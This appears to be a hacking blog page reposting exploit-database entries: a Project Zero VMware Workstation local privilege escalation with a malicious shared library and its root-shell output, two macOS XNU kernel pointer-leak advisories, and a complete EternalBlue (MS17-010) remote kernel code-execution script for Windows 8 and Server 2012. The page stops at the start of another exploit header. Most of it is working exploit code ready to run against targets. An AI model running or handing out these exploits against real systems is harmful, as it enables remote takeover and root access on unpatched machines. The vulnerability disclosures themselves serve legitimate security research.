Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863153528

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142

This vulnerability permits an unprivileged user on a Linux machine on
which VMWare Workstation is installed to gain root privileges.

The issue is that, for VMs with audio, the privileged VM host
process loads libasound, which parses ALSA configuration files,
including one at ~/.asoundrc. libasound is not designed to run in a
setuid context and deliberately permits loading arbitrary shared
libraries via dlopen().

To reproduce, run the following commands on a normal Ubuntu desktop
machine with VMWare Workstation installed:


~$ cd /tmp
/tmp$ cat > evil_vmware_lib.c
*/

#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>

extern char *program_invocation_short_name;

__attribute__((constructor)) void run(void) {
	if (strcmp(program_invocation_short_name, "vmware-vmx"))
		return;

	uid_t ruid, euid, suid;
	if (getresuid(&ruid, &euid, &suid))
		err(1, "getresuid");
	printf("current UIDs: %d %d %d\n", ruid, euid, suid);
	if (ruid == 0 || euid == 0 || suid == 0) {
		if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
			err(1, "setresxid");
		printf("switched to root UID and GID");
		system("/bin/bash");
		_exit(0);
	}
}

/*
/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
/tmp$ cat > ~/.asoundrc
hook_func.pulse_load_if_running {
        lib "/tmp/evil_vmware_lib.so"
        func "conf_pulse_hook_load_if_running"
}
/tmp$ vmware


Next, in the VMWare Workstation UI, open a VM with a virtual sound
card and start it. Now, in the terminal, a root shell will appear:


/tmp$ vmware
current UIDs: 1000 1000 0
bash: cannot set terminal process group (13205): Inappropriate ioctl for device
bash: no job control in this shell
~/vmware/Debian 8.x 64-bit# id
uid=0(root) gid=0(root) groups=0(root),[...]
~/vmware/Debian 8.x 64-bit# 


I believe that the ideal way to fix this would be to run all code that
doesn't require elevated privileges - like the code for sound card
emulation - in an unprivileged process. However, for now, moving only
the audio output handling into an unprivileged process might also do
the job; I haven't yet checked whether there are more libraries VMWare
Workstation loads that permit loading arbitrary libraries into the
vmware-vmx process.

Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.
*/
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149

The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86
binaries in compatibility mode. 32-bit binaries use partly separate
syscall entry and exit paths.

To return to userspace, unix_syscall() in bsd/dev/i386/systemcalls.c
calls thread_exception_return() (in osfmk/x86_64/locore.s), which in
turn calls return_from_trap, which is implemented in
osfmk/x86_64/idt64.s.

return_from_trap() normally branches into return_to_user relatively
quickly, which then, depending on the stack segment selector, branches
into either L_64bit_return or L_32bit_return. While the L_64bit_return
path restores all userspace registers, the L_32bit_return path only
restores the registers that are accessible in compatibility mode; the
registers r8 to r15 are not restored.

This is bad because, although switching to compatibility mode makes it
impossible to directly access r8..r15, the register contents are
preserved, and switching back to 64-bit mode makes the 64-bit
registers accessible again. Since the GDT always contains user code
segments for both compatibility mode and 64-bit mode, an unprivileged
32-bit process can leak kernel register contents as follows:

 - make a normal 32-bit syscall
 - switch to 64-bit mode (e.g. by loading the 64-bit user code segment
   using iret)
 - store the contents of r8..r15
 - switch back to compatibility mode (e.g. by loading the 32-bit user
   code segment using iret)

The attached PoC demonstrates the issue by dumping the contents of
r8..r15. Usage:

$ ./leakregs 
r8 = 0xffffff801d3872a8
r9 = 0xffffff8112abbec8
r10 = 0xffffff801f962240
r11 = 0xffffff8031d52bb0
r12 = 0x12
r13 = 0xffffff80094018f0
r14 = 0xffffff801cb59ea0
r15 = 0xffffff801cb59ea0

It seems like these are various types of kernel pointers, including
kernel text pointers.

If you want to compile the PoC yourself, you'll have to adjust the
path to nasm in compile.sh, then run ./compile.sh.

This bug was verified using the following kernel version:
15.6.0 Darwin Kernel Version 15.6.0: Mon Jan  9 23:07:29 PST 2017;
root:xnu-3248.60.11.2.1~1/RELEASE_X86_64 x86_64

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42046.zip
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1164

This is an issue that allows unentitled root to read kernel frame
pointers, which might be useful in combination with a kernel memory
corruption bug.

By design, the syscall stack_snapshot_with_config() permits unentitled
root to dump information about all user stacks and kernel stacks.
While a target thread, along with the rest of the system, is frozen,
machine_trace_thread64() dumps its kernel stack.
machine_trace_thread64() walks up the kernel stack using the chain of
saved RBPs. It dumps the unslid kernel text pointers together with
unobfuscated frame pointers.

The attached PoC dumps a stackshot into the file stackshot_data.bin
when executed as root. The stackshot contains data like this:

00000a70  de 14 40 00 80 ff ff ff  a0 be 08 77 80 ff ff ff  |..@........w....|
00000a80  7b b8 30 00 80 ff ff ff  20 bf 08 77 80 ff ff ff  |{.0..... ..w....|
00000a90  9e a6 30 00 80 ff ff ff  60 bf 08 77 80 ff ff ff  |..0.....`..w....|
00000aa0  5d ac 33 00 80 ff ff ff  b0 bf 08 77 80 ff ff ff  |].3........w....|

The addresses on the left are unslid kernel text pointers; the
addresses on the right are valid kernel stack pointers.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42047.zip
            
#!/usr/bin/python
from impacket import smb, ntlm
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target

EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm

Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 10 Pro Build 10240 x64


Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
  - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall


Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit


Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
    https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
    On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.


Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
  - Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution

# E-DB Note: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
# E-DB Note: https://github.com/worawit/MS17-010/blob/873c5453680a0785415990379a4b36ba61f82a4d/eternalblue_exploit8.py
'''

# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME=''
PASSWORD=''

# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000

ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260  # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d  # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148  # overflow to SRVNET_BUFFER_HDR

'''
Reverse from srvnet.sys (Win2012 R2 x64)
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():

// size 0x90
struct SRVNET_BUFFER_HDR {
	LIST_ENTRY list;
	USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
	char unknown0[6];
	char *pNetRawBuffer;  // MUST point to valid address (check if this request is "\xfdSMB")
	DWORD netRawBufferSize; // offset: 0x20
	DWORD ioStatusInfo;
	DWORD thisNonPagedPoolSize;  // will be 0x82e8 for netRawBufferSize 0x8100
	DWORD pad2;
	char *thisNonPagedPoolAddr; // 0x30  points to SRVNET_BUFFER
	PMDL pmdl1; // point at offset 0x90 from this struct
	DWORD nByteProcessed; // 0x40
	char unknown4[4];
	QWORD smbMsgSize; // MUST be modified to size of all recv data
	PMDL pmdl2; // 0x50:  if want to free corrupted buffer, need to set to valid address
	QWORD pSrvNetWskStruct;  // want to change to fake struct address
	DWORD unknown6; // 0x60
	char unknown7[12];
	char unknown8[0x20];
};

struct SRVNET_BUFFER {
	char transportHeader[80]; // 0x50
	char buffer[reqSize+padding];  // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
	SRVNET_BUFFER_HDR hdr; //some header size 0x90
	//MDL mdl1; // target
};

In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and 
  DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
#                           a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
#                           This value MUST be exactly same as the number of bytes we send.
#                           Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
#                           The value MUST point to valid (might be fake) struct.
# - offset 0x90 (MDL)   : MDL for describe receiving SMB request buffer
#   - 0x90 (VOID*)    : MDL.Next should be NULL
#   - 0x98 (USHORT)   : MDL.Size should be some value that not too small
#   - 0x9a (USHORT)   : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
#   - 0x90 (VOID*)    : MDL.Process should be NULL
#   - 0x98 (VOID*)    : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
#                         The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#                         
#
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
#                           before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
#                           your shellcode as function argument
# - offset 0x50 (PMDL)  : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
#     \x48\x8b\x54\x24\x40  mov rdx, [rsp+0x40]
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
#     \x48\x01\xd1          add rcx, rdx
#     \x48\x89\x4a\x30      mov [rdx+0x30], rcx
# - set nByteProcessed for trigger free after return
#     \x8b\x4a\x48          mov ecx, [rdx+0x48]
#     \x89\x4a\x40          mov [rdx+0x40], ecx

# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000  # for put fake struct and shellcode
 
# Note: feaList will be created after knowing shellcode size.

# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
# NX bit is at PTE_ADDR+7
# MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR)  # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f)  # MDL.Process, MDL.MappedSystemVa

feaListNx = pack('<I', 0x10000)
feaListNx += ntfea9000
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)


def createFakeSrvNetBuffer(sc_size):
	# 0x180 is size of fakeSrvNetBufferX64
	totalRecvSize = 0x80 + 0x180 + sc_size
	fakeSrvNetBufferX64 = '\x00'*16
	fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)  # flag, _, _, pNetRawBuffer
	fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0)  # _, thisNonPagedPoolSize, _
	fakeSrvNetBufferX64 += '\x00'*16
	fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize)  # offset 0x40
	fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR)  # pmdl2, pointer to fake struct
	fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
	fakeSrvNetBufferX64 += '\x00'*16
	fakeSrvNetBufferX64 += '\x00'*16
	fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0)  # MDL.Next, MDL.Size, MDL.MdlFlags
	fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80)  # MDL.Process, MDL.MappedSystemVa
	return fakeSrvNetBufferX64

def createFeaList(sc_size):
	feaList = pack('<I', 0x10000)
	feaList += ntfea9000
	fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
	feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
	# stop copying by invalid flag (can be any value except 0 and 0x80)
	feaList += pack('<BBH', 0x12, 0x34, 0x5678)
	return feaList

# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00e00
#   offset 0x50:  KSPIN_LOCK
#   offset 0x58:  LIST_ENTRY must be valid address. cannot be NULL.
#   offset 0x110: array of pointer to function
#   offset 0x13c: set to 3 (DWORD) for invoking ptr to function
# some useful offset
#   offset 0x120: arg1 when invoking ptr to function
#   offset 0x128: arg2 when invoking ptr to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58)  # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0)  # offset 0x60
fake_recv_struct += ('\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0)  # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0)  # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3)  # offset 0x130
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180)  # shellcode address


def getNTStatus(self):
	return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)

def sendEcho(conn, tid, data):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
	transCommand['Parameters'] = smb.SMBEcho_Parameters()
	transCommand['Data'] = smb.SMBEcho_Data()

	transCommand['Parameters']['EchoCount'] = 1
	transCommand['Data']['Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('got good ECHO response')
	else:
		print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))


# override SMB.neg_session() to allow forcing ntlm authentication
class MYSMB(smb.SMB):
	def __init__(self, remote_host, use_ntlmv2=True):
		self.__use_ntlmv2 = use_ntlmv2
		smb.SMB.__init__(self, remote_host, remote_host)

	def neg_session(self, extended_security = True, negPacket = None):
		smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)

def createSessionAllocNonPaged(target, size):
	conn = MYSMB(target, use_ntlmv2=False)  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
	_, flags2 = conn.get_flags()
	# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
	if size >= 0xffff:
		flags2 &= ~smb.SMB.FLAGS2_UNICODE
		reqSize = size // 2
	else:
		flags2 |= smb.SMB.FLAGS2_UNICODE
		reqSize = size
	conn.set_flags(flags2=flags2)
	
	pkt = smb.NewSMBPacket()

	sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
	sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

	sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
	sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
	sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
	sessionSetup['Parameters']['SessionKey']         = 0
	sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
	sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

	sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
	pkt.addCommand(sessionSetup)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('SMB1 session setup allocate nonpaged pool success')
		return conn
	
	if USERNAME:
		# Try login with valid user because anonymous user might get access denied on Windows Server 2012.
		# Note: If target allows only NTLMv2 authentication, the login will always fail.
		# support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
		flags2 &= ~smb.SMB.FLAGS2_UNICODE
		reqSize = size // 2
		conn.set_flags(flags2=flags2)
		
		# new SMB packet to reset flags
		pkt = smb.NewSMBPacket()
		pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
		# UnicodePasswordLen field is in Reserved for extended security format.
		sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
		sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
		pkt.addCommand(sessionSetup)
		
		conn.sendSMB(pkt)
		recvPkt = conn.recvSMB()
		if recvPkt.getNTStatus() == 0:
			print('SMB1 session setup allocate nonpaged pool success')
			return conn

	# lazy to check error code, just print fail message
	print('SMB1 session setup allocate nonpaged pool failed')
	sys.exit(1)


# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
    structure = (
        ('TotalParameterCount','<H=0'),
        ('TotalDataCount','<H'),
        ('ParameterCount','<H=0'),
        ('ParameterOffset','<H=0'),
        ('ParameterDisplacement','<H=0'),
        ('DataCount','<H'),
        ('DataOffset','<H'),
        ('DataDisplacement','<H=0'),
        ('FID','<H=0'),
    )

def send_trans2_second(conn, tid, data, displacement):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	# assume no params

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
	transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
	transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

	transCommand['Parameters']['TotalParameterCount'] = 0
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+18
	transCommand['Data']['Pad1'] = ''

	transCommand['Parameters']['ParameterCount'] = 0
	transCommand['Parameters']['ParameterOffset'] = 0

	if len(data) > 0:
		pad2Len = (4 - fixedOffset % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = len(data)
	transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
	transCommand['Parameters']['DataDisplacement'] = displacement

	transCommand['Data']['Trans_Parameters'] = ''
	transCommand['Data']['Trans_Data'] = data
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)


def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('<H', setup)

	# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:
		transCommand['Data']['Pad1'] = ''
		padLen = 0

	transCommand['Parameters']['ParameterCount'] = len(param)
	transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

	if len(data) > 0:
		pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = firstDataFragmentSize
	transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

	transCommand['Data']['Trans_Parameters'] = param
	transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB() # must be success
	if recvPkt.getNTStatus() == 0:
		print('got good NT Trans response')
	else:
		print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
		sys.exit(1)
	
	# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
	i = firstDataFragmentSize
	while i < len(data):
		sendSize = min(4096, len(data) - i)
		if len(data) - i <= 4096:
			if not sendLastChunk:
				break
		send_trans2_second(conn, tid, data[i:i+sendSize], i)
		i += sendSize
	
	if sendLastChunk:
		conn.recvSMB()
	return i

	
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False):
	sk = socket.create_connection((target, 445))
	pkt = '\x00' + '\x00' + pack('>H', 0x8100)
	# There is no need to be SMB2 because we want the target free the corrupted buffer.
	# Also this is invalid SMB2 message.
	# I believe NSA exploit use SMB2 for hiding alert from IDS
	#pkt += '\xfeSMB' # smb2
	# it can be anything even it is invalid
	pkt += 'BAAD' # can be any
	if for_nx:
		# MUST set no delay because 1 byte MUST be sent immediately
		sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
		pkt += '\x00'*0x7b  # another byte will be sent later to disabling NX
	else:
		pkt += '\x00'*0x7c
	sk.send(pkt)
	return sk


def exploit(target, shellcode, numGroomConn):
	# force using smb.SMB for SMB1
	conn = smb.SMB(target, target)
	conn.login(USERNAME, PASSWORD)
	server_os = conn.get_server_os()
	print('Target OS: '+server_os)
	if server_os.startswith("Windows 10 "):
		build = int(server_os.split()[-1])
		if build >= 14393:  # version 1607
			print('This exploit does not support this target')
			sys.exit()
	elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
		print('This exploit does not support this target')
		sys.exit()

	tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')

	# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
	# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
	progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)

	# Another TRANS2_OPEN2 (0) with special feaList for disabling NX
	nxconn = smb.SMB(target, target)
	nxconn.login(USERNAME, PASSWORD)
	nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
	nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)

	# create some big buffer at server
	# this buffer MUST NOT be big enough for overflown buffer
	allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
	
	# groom nonpaged pool
	# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
	srvnetConn = []
	for i in range(numGroomConn):
		sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
		srvnetConn.append(sk)

	# create buffer size NTFEA_SIZE at server
	# this buffer will be replaced by overflown buffer
	holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
	# disconnect allocConn to free buffer
	# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
	allocConn.get_socket().close()

	# hope one of srvnetConn is next to holeConn
	for i in range(5):
		sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
		srvnetConn.append(sk)
	
	# remove holeConn to create hole for fea buffer
	holeConn.get_socket().close()
	
	# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
	# first trigger, overwrite srvnet buffer struct for disabling NX
	send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
	recvPkt = nxconn.recvSMB()
	retStatus = recvPkt.getNTStatus()
	if retStatus == 0xc000000d:
		print('good response status for nx: INVALID_PARAMETER')
	else:
		print('bad response status for nx: 0x{:08x}'.format(retStatus))
		
	# one of srvnetConn struct header should be modified
	# send '\x00' to disable nx
	for sk in srvnetConn:
		sk.send('\x00')
	
	# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
	# second trigger, place fake struct and shellcode
	send_trans2_second(conn, tid, feaList[progress:], progress)
	recvPkt = conn.recvSMB()
	retStatus = recvPkt.getNTStatus()
	if retStatus == 0xc000000d:
		print('good response status: INVALID_PARAMETER')
	else:
		print('bad response status: 0x{:08x}'.format(retStatus))

	# one of srvnetConn struct header should be modified
	# a corrupted buffer will write recv data in designed memory address
	for sk in srvnetConn:
		sk.send(fake_recv_struct + shellcode)

	# execute shellcode
	for sk in srvnetConn:
		sk.close()
	
	# nicely close connection (no need for exploit)
	nxconn.disconnect_tree(tid)
	nxconn.logoff()
	nxconn.get_socket().close()
	conn.disconnect_tree(tid)
	conn.logoff()
	conn.get_socket().close()


if len(sys.argv) < 3:
	print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
	sys.exit(1)

TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])

fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()

if len(sc) > 0xe80:
	print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
	sys.exit()

# Now, shellcode is known. create a feaList
feaList = createFeaList(len(sc))

print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))

exploit(TARGET, sc, numGroomConn)
print('done')
            
author = '''
  
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
